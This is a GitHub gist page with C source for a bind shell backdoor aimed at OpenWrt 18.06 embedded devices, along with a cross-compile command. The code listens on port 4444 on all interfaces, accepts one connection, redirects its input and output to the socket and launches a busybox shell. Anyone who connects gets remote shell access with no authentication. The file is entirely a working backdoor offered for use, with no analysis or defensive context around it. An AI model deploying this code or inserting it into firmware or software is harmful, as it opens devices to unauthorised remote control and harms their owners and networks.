Skip to content

Instantly share code, notes, and snippets.

@0x48piraj
Last active May 18, 2021 00:23
Show Gist options
  • Save 0x48piraj/4a4503b4cdfece10319b8ee7e3944cb0 to your computer and use it in GitHub Desktop.
Save 0x48piraj/4a4503b4cdfece10319b8ee7e3944cb0 to your computer and use it in GitHub Desktop.
Bind shell network backdoor for embedded devices (tested on OpenWrt 18.06 firmware)
#include <sys/socket.h>
#include <netinet/in.h>
#include <stdlib.h>
#define BACKDOOR_PORT 4444
/* Author: Piyush Raj (0x48piraj)
* Bind Shell for OpenWrt 18.06 firmware, handles one connection per execution
* Arch : i486
* ./i486-openwrt-linux-musl-gcc bindshell-unstable.c -o bindshell
*/
int main()
{
int dup2(int oldfd, int newfd);
int execve(const char *path, char *args[], char envp[]);
char *args[] = { "/bin/busybox", "sh", (char *) 0 };
int h_sock = socket(AF_INET, SOCK_STREAM, 0);
struct sockaddr_in h_addr;
h_addr.sin_family = AF_INET;
h_addr.sin_port = htons(BACKDOOR_PORT);
h_addr.sin_addr.s_addr = INADDR_ANY;
bind(h_sock, (struct sockaddr *)&h_addr, sizeof(h_addr));
listen(h_sock, 0);
int c_sock = accept(h_sock, NULL, NULL);
dup2(c_sock, 0);
dup2(c_sock, 1);
dup2(c_sock, 2);
execve("/bin/busybox", args, (char *) 0);
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment